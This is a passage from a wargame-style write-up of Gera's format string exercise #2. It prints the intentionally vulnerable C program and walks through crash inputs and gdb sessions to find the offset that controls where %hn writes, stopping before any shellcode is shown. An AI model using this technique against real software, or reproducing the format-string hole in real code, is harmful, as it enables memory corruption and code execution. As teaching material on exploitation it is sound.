Gera's Insecure Programming Format String #2

Now that this semester is completed, I can continue going through gera's execises =).

For reference, the program is below:

{% highlight c%}
/* fs2.c *

  • specially crafted to feed your brain by gera */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
char buf[256];

    snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
    snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);

}
{% endhighlight %}

I used FreeBSD 8.2-RELEASE as platform to exploit on. This exercise can be exploited on a system with ASLR. The shellcode address would need to be brute forced to get a shell.

> uname -a
FreeBSD  8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386

The source shows the program takes two arguments from the command-line (argc[1] and argc[2]) and stores the resulting format string to a buffer (buf). Both of the snprintfs are only passed one argument when four (4) arguments should have be passed. This code will lead to exploitable situation as the %hn will write two bytes onto the stack (or anywhere).

> ./fs2 AA BB
> ./fs2 AAAAAAAAAAAA BBBBBBBBBBBB
Segmentation fault (core dumped)
> gdb fs2 fs2.core 
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) x/i $eip
0x2816f329 :	mov    %dx,(%eax)
(gdb) x/x $edx 
0xe:	Cannot access memory at address 0xe
(gdb) x/x $eax 
0x41414141:	Cannot access memory at address 0x41414141
(gdb) q

The program crashes and drops a core when it tries to dereference 0x41414141 ("AAAA"). The next step is to find the offset to fill eax with an address we want.

> ./fs2 AAAABBBBCCCC DDDDEEEEFFFFF
Segmentation fault (core dumped)
> gdb fs2 fs2.core
GNU gdb 6.1.1 [FreeBSD]
..snip..
#0  0x2816f329 in open () from /lib/libc.so.7
(gdb) x/x $eax
0x43434343:	Cannot access memory at address 0x43434343
(gdb) printf "%#x %#x\n", $eax, $edx
0x43434343 0xe
(gdb) x/i $eip
0x2816f329 :	mov    %dx,(%eax)
(gdb) q

Another way to get the offset can be achieved by analyzing the format string and the stack's behavior. The format string expects the stack layout to be like so:

---------------      <--- Top of Stack / Low Memory Address
-    char *       -       "%s"
------------